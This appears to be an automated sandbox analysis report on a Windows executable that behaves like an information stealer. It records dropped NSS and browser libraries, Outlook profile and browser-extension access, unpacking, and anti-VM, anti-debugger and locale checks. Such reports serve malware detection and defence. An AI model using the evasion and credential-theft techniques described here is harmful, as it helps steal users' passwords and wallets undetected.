Source: T220UXIoKO.exe, 00000000.00000002.2945995098.000000001AE02000.00000004.00000020.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2955470518.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: T220UXIoKO.exe, 00000000.00000002.2945995098.000000001AE02000.00000004.00000020.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2955470518.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: T220UXIoKO.exe, 00000000.00000002.2945995098.000000001AE02000.00000004.00000020.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2955470518.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: T220UXIoKO.exe, 00000000.00000002.2945995098.000000001AE02000.00000004.00000020.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2955470518.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: T220UXIoKO.exe, T220UXIoKO.exe, 00000000.00000002.2945995098.000000001AE02000.00000004.00000020.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2955470518.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: T220UXIoKO.exe, 00000000.00000002.2945995098.000000001AE02000.00000004.00000020.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2955470518.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: T220UXIoKO.exe, 00000000.00000002.2945995098.000000001AE02000.00000004.00000020.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2955470518.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: T220UXIoKO.exe, 00000000.00000003.1745770495.0000000020D89000.00000004.00000020.00020000.00000000.sdmp, KFCAFIIDHIDGHIECGDGI.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: T220UXIoKO.exe, 00000000.00000002.2945995098.000000001AE02000.00000004.00000020.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2955470518.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: T220UXIoKO.exe, 00000000.00000002.2945995098.000000001AE02000.00000004.00000020.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2955470518.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: T220UXIoKO.exe	String found in binary or memory: ft.com/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d
Source: T220UXIoKO.exe	String found in binary or memory: m/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d8e17?

Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: C:\Users\user\Desktop\T220UXIoKO.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: mozglue.pdbP source: T220UXIoKO.exe, 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: T220UXIoKO.exe, 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: T220UXIoKO.exe, 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: T220UXIoKO.exe, 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Unpacked PE file: 0.2.T220UXIoKO.exe.400000.1.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Unpacked PE file: 0.2.T220UXIoKO.exe.400000.1.unpack

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Code function: 0_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00419860

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

Source: JDAKJDAAFB.exe.0.dr

Static PE information: real checksum: 0x83f826 should be: 0x6c18e0

Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: JDAKJDAAFB.exe.0.dr	Static PE information: section name:
Source: JDAKJDAAFB.exe.0.dr	Static PE information: section name:
Source: JDAKJDAAFB.exe.0.dr	Static PE information: section name:
Source: JDAKJDAAFB.exe.0.dr	Static PE information: section name:
Source: JDAKJDAAFB.exe.0.dr	Static PE information: section name:
Source: JDAKJDAAFB.exe.0.dr	Static PE information: section name:
Source: JDAKJDAAFB.exe.0.dr	Static PE information: section name:
Source: JDAKJDAAFB.exe.0.dr	Static PE information: section name:
Source: JDAKJDAAFB.exe.0.dr	Static PE information: section name: .imports
Source: JDAKJDAAFB.exe.0.dr	Static PE information: section name: .themida
Source: JDAKJDAAFB.exe.0.dr	Static PE information: section name: .boot
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_0041B035 push ecx; ret		0_2_0041B048
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6FB536 push ecx; ret		0_2_6C6FB549

Source: T220UXIoKO.exe	Static PE information: section name: .text entropy: 7.016268527861018
Source: JDAKJDAAFB.exe.0.dr	Static PE information: section name: entropy: 7.958585366480971

Source: C:\Users\user\Desktop\T220UXIoKO.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File created: C:\ProgramData\JDAKJDAAFB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\T220UXIoKO.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File created: C:\ProgramData\JDAKJDAAFB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\T220UXIoKO.exe

0_2_00419860

Source: C:\Users\user\Desktop\T220UXIoKO.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-70538

Source: C:\Users\user\Desktop\T220UXIoKO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Dropped PE file which has not been started: C:\ProgramData\JDAKJDAAFB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\T220UXIoKO.exe

API coverage: 8.5 %

Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414910
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DA80
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E430
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE70
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004016D0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_00413EA0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F6B0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004138B0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_00414570
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040ED20
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DE10

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Code function: 0_2_00401160 GetSystemInfo,ExitProcess,

0_2_00401160

Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: T220UXIoKO.exe, 00000000.00000002.2934433959.000000000090E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwaret$
Source: T220UXIoKO.exe, 00000000.00000002.2934433959.000000000090E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: T220UXIoKO.exe, 00000000.00000002.2934433959.000000000090E000.00000004.00000020.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000971000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\T220UXIoKO.exe	API call chain: ExitProcess graph end node	graph_0-71700
Source: C:\Users\user\Desktop\T220UXIoKO.exe	API call chain: ExitProcess graph end node	graph_0-70566
Source: C:\Users\user\Desktop\T220UXIoKO.exe	API call chain: ExitProcess graph end node	graph_0-70523
Source: C:\Users\user\Desktop\T220UXIoKO.exe	API call chain: ExitProcess graph end node	graph_0-70526
Source: C:\Users\user\Desktop\T220UXIoKO.exe	API call chain: ExitProcess graph end node	graph_0-70537
Source: C:\Users\user\Desktop\T220UXIoKO.exe	API call chain: ExitProcess graph end node	graph_0-70542
Source: C:\Users\user\Desktop\T220UXIoKO.exe	API call chain: ExitProcess graph end node	graph_0-70365

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Code function: 0_2_0041B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0041B33A

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Code function: 0_2_004045C0 VirtualProtect ?,00000004,00000100,00000000

0_2_004045C0

Source: C:\Users\user\Desktop\T220UXIoKO.exe

0_2_00419860

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Code function: 0_2_00419750 mov eax, dword ptr fs:[00000030h]

0_2_00419750

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Code function: 0_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_00417850

Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_0041B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041B33A
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041AD48
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_0041CEEA SetUnhandledExceptionFilter,	0_2_0041CEEA
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6FB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C6FB66C
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6FB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C6FB1F7
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C8AAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C8AAC62

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: T220UXIoKO.exe PID: 6592, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Code function: 0_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00419600

Source: C:\Users\user\Desktop\T220UXIoKO.exe

